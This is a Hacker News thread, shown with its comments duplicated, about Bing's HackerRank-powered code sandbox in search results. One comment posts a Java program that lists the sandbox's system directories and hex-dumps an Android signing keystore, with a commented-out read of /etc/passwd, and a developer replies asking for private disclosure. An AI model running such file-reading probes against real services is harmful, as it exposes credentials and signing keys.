Could you elaborate a little? In what way(s) is Monaco superior?
In my view, CodeMirror is pretty decent, and it seems to me that not much can be improved upon it. But I haven't had the chance to compare it to anything else.
Microsoft bought/aquirehired Erich Gamma and his team in Switzerland to get hold on the technology. It's also the root cause for the TypeScript development. https://en.wikipedia.org/wiki/Erich_Gamma
Early adopters are HN readers, this is very smart from Bing - maybe we will see the same soon in DuckDuckGo?
Why is it smart? Every major internet service is driven by it's early adopters. Every major service is built and designed by people like us, hacker news readers, techies, early adopters. But of course, not all services, especially those who want to be massive are targeted to early adopters anymore - they wrongly target the masses. To attract people to use your service, you have to have the early adopters first, they have to attract us first and then target the masses. Thus, we are seeing Bing take a page from DuckDuckGo in tailoring some parts of its service towards techies. It's a clever move.
I've seen this mentioned in things like The Lean Startup, but never as the focus. Do you know any books/studies/similar about targeting early adopters?
"HackerRank co-founder Vivek Ravisankar tells me the project currently features over 80 code snippets that focus on the most commonly searched terms. Microsoft is positioning this as both a productivity and learning tool."
Good startup idea could be found in this audience. Solve
the coding problems through searching for code. Just do it better than bing. [0]
[0] "The way to win here is to build the search engine all the hackers use. A search engine whose users consisted of the top 10,000 hackers and no one else would be in a very powerful position despite its small size, just as Google was when it was that search engine." ~ http://paulgraham.com/ambitious.html
Pretty cool when it appears. You can edit it, and the examples are written in a way that the output helps explain the flow (like showing the pivot and array state in each pass of a quicksort). I'm surprised it doesn't support Javascript though, since it's now so popular.
It also doesn't seem to support anything advanced or synonyms for terms. I can search for "Reverse array python" but not "Reverse list python" (technically a list is the proper name, and array is a different construct in Python), and anything more advanced than sorting algorithms or simple features don't appear. I tried a few pathfinding algorithms, fibonacci sequence, prime numbers.... And I tried several variations of search terms. "Pathfinding in Pyhton" / "Graph Search in Python" / "Djikstra's algorithm in Python", nothing. I don't think it will be very useful because of this.
I worked on this project. We're building up the list of samples of additional programs/queries, so the number of queries you should see the editor for will expand in the coming days.
Well, I doubt they could throw something this slick together in a copule of weeks! Also, that DuckDuckHack looks to be something very different. I couldn't find anywhere that allows you to sandbox code on it. Seems to need to upload to a github repo first? What actually does it intend to be?
Personally, I'm partial to running IPython under Sandstorm for this kind of thing. (Also, if I were to host it, I'd be very nervous about any technique not involving equal or greater paranoia.)
I can see this being abused for phone screen technical interviews :) but I do search for code snippets when I'm learning something new so this is great.
The sandboxing is interesting ... Each process is running in a directory on the same server.
Also there's some files that are visible that probably shouldn't be, including one named "codechecker-android-release-key.keystore"...
For the curious, try running the code block. You can uncomment/commment things out to see different results as there's a cap on the amount of stdout printed.
import java.net.URLClassLoader;
import java.io.*;
import java.net.*;
class Solution
{
private static void printFile(String path) throws Exception {
System.out.println("File: " + path);
InputStream in = new FileInputStream(path);
byte buf[] = new byte[1024];
int len;
while( (len = in.read(buf)) > 0 ) {
System.out.write(buf, 0, len);
}
System.out.flush();
}
final protected static char[] hexArray = "0123456789ABCDEF".toCharArray();
private static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for ( int j = 0; j < bytes.length; j++ ) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
private static void printFileHex(String path) throws Exception {
System.out.println("File: " + path);
InputStream in = new FileInputStream(path);
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte buf[] = new byte[1024];
int len;
while( (len = in.read(buf)) > 0 ) {
out.write(buf, 0, len);
}
byte bytes[] = out.toByteArray();
System.out.println(bytesToHex(bytes));
System.out.flush();
}
public static void main (String[] args) throws Exception
{
Class<?> clazz = Class.forName("java.lang.ClassLoader");
URLClassLoader cl =
(URLClassLoader) Thread.currentThread().getContextClassLoader();
System.out.println("Classpath:");
for(java.net.URL url : cl.getURLs()) {
System.out.println("" + url);
}
File local = new File("");
System.out.println("Local path: " + local.getAbsolutePath());
System.out.println("Files:");
File root = new File("/");
String list[] = root.list();
System.out.println("# root files: " + list.length);
//printFile("/etc/passwd");
printFileHex("/etc/codechecker-android-release-key.keystore");
System.out.println("# root files: " + list.length);
for(String base : new String[]{ "/etc", "/bin", "/sbin", "/usr"}) {
for(String name : new File(base).list()) {
System.out.println(base + "/" + name);
}
}
}
}
We have a cluster of codechecker servers of the above type, which share the load of incoming queries. On each, sandboxing is via a chroot-based system. Programs get a fixed amount of memory/time.
Re: the codechecker keyfile - we're looking into this, as I'm not an android expert - but quick searching tells me this is used to sign apks. Our codechecker supports android builds, so that's probably what this is used for. This key is not used to sign anything official (like throwaway id_rsa you create when needed). Again, I'm not the expert on this and I'll add a confirmation here shortly.
That said, if anyone finds something a vulnerability/way out of the sandbox, please shoot me a mail (anil @ hackerrank) if you'd like to do a private disclosure.
Not to be flippant, but.. I assumed most coders use Google / DuckDuckGo. I seem to remember reading that even coming from Microsoft offices, engineers prefer Google to Bing. Does that make this simply a PR move?
You're right - Bing shouldn't bother improving it's product for potential new users because people prefer to use other products which don't have these features...
[+] [-] georgewfraser|10 years ago|reply
[+] [-] amelius|10 years ago|reply
In my view, CodeMirror is pretty decent, and it seems to me that not much can be improved upon it. But I haven't had the chance to compare it to anything else.
[+] [-] frik|10 years ago|reply
[+] [-] chippy|10 years ago|reply
Why is it smart? Every major internet service is driven by it's early adopters. Every major service is built and designed by people like us, hacker news readers, techies, early adopters. But of course, not all services, especially those who want to be massive are targeted to early adopters anymore - they wrongly target the masses. To attract people to use your service, you have to have the early adopters first, they have to attract us first and then target the masses. Thus, we are seeing Bing take a page from DuckDuckGo in tailoring some parts of its service towards techies. It's a clever move.
[+] [-] irremediable|10 years ago|reply
[+] [-] bootload|10 years ago|reply
Good startup idea could be found in this audience. Solve the coding problems through searching for code. Just do it better than bing. [0]
[0] "The way to win here is to build the search engine all the hackers use. A search engine whose users consisted of the top 10,000 hackers and no one else would be in a very powerful position despite its small size, just as Google was when it was that search engine." ~ http://paulgraham.com/ambitious.html
[+] [-] Estragon|10 years ago|reply
https://www.bing.com/search?q=solution+to+halting+problem
[+] [-] octo_t|10 years ago|reply
[+] [-] squeaky-clean|10 years ago|reply
It also doesn't seem to support anything advanced or synonyms for terms. I can search for "Reverse array python" but not "Reverse list python" (technically a list is the proper name, and array is a different construct in Python), and anything more advanced than sorting algorithms or simple features don't appear. I tried a few pathfinding algorithms, fibonacci sequence, prime numbers.... And I tried several variations of search terms. "Pathfinding in Pyhton" / "Graph Search in Python" / "Djikstra's algorithm in Python", nothing. I don't think it will be very useful because of this.
[+] [-] anilgulecha|10 years ago|reply
[+] [-] dc2|10 years ago|reply
http://duckduckhack.com/
This is probably Microsoft's response.
[+] [-] feintruled|10 years ago|reply
[+] [-] amluto|10 years ago|reply
[+] [-] anilgulecha|10 years ago|reply
[+] [-] cha5m|10 years ago|reply
[+] [-] bru|10 years ago|reply
[+] [-] shashwat986|10 years ago|reply
However, it's quite easy to see the result if you add `&market=en-US` to the end of the query.
Example: https://www.bing.com/search?q=quicksort+java&market=en-US
[Disclaimer: Dev at HackerRank. Not affiliated with this product, though]
[+] [-] S4M|10 years ago|reply
[+] [-] ethana|10 years ago|reply
[+] [-] hartator|10 years ago|reply
[+] [-] ideal322|10 years ago|reply
[+] [-] cmdrfred|10 years ago|reply
[+] [-] blazespin|10 years ago|reply
[+] [-] jon_richards|10 years ago|reply
[+] [-] palakchokshi|10 years ago|reply
[+] [-] quadrature|10 years ago|reply
[+] [-] sremani|10 years ago|reply
[+] [-] koolba|10 years ago|reply
Also there's some files that are visible that probably shouldn't be, including one named "codechecker-android-release-key.keystore"...
For the curious, try running the code block. You can uncomment/commment things out to see different results as there's a cap on the amount of stdout printed.
[+] [-] anilgulecha|10 years ago|reply
We have a cluster of codechecker servers of the above type, which share the load of incoming queries. On each, sandboxing is via a chroot-based system. Programs get a fixed amount of memory/time.
Re: the codechecker keyfile - we're looking into this, as I'm not an android expert - but quick searching tells me this is used to sign apks. Our codechecker supports android builds, so that's probably what this is used for. This key is not used to sign anything official (like throwaway id_rsa you create when needed). Again, I'm not the expert on this and I'll add a confirmation here shortly.
That said, if anyone finds something a vulnerability/way out of the sandbox, please shoot me a mail (anil @ hackerrank) if you'd like to do a private disclosure.
[+] [-] riyadparvez|10 years ago|reply
[+] [-] nimesh159|10 years ago|reply
[+] [-] bovermyer|10 years ago|reply
[+] [-] tomnikl|10 years ago|reply
[+] [-] derwiki|10 years ago|reply
[+] [-] tsurantino|10 years ago|reply
[+] [-] joshmn|10 years ago|reply
Bing Video to be exact.
(we all know it's true to an extent)